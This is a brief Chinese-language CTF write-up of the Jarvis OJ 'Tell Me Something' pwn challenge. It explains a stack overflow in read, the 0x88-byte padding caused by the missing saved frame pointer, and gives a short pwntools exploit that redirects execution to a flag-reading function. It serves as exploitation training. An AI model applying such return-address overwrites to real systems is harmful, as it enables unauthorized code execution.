Pwn-Tell Me Something
题目地址
64位的程序 并且有NX保护机制
用IDA查看伪代码
发现可以good_game函数中可以直接打开flag.txt
但是main函数不会执行good_game函数,不过 read函数存在栈溢出,可以利用栈溢出控制程序流程,执行good_game
正常我们是需要填充(0x88+0x8)个字节,再写入good_game的地址
但是这样构造的payload打不通
看了一下汇编
跟平时常见的构造栈帧不一样,平时构造栈帧是为
push ebp
mov ebp,esp
sub esp,栈帧大小
......
.......
add esp,栈帧大小
pop ebp
retn
因为栈帧不一样,没有old_ebp,所以只需要填充0x88即可
然后再查看good_game的地址
exp
from pwn import *
r=remote('pwn.jarvisoj.com',9876)
payload=(0x88)*'a'+p64(0x400620)
r.sendline(payload)
r.interactive()
执行
![](https://img2018.cnblogs.com/blog/1763153/201910/1763153-20191008121956247-95048975.png)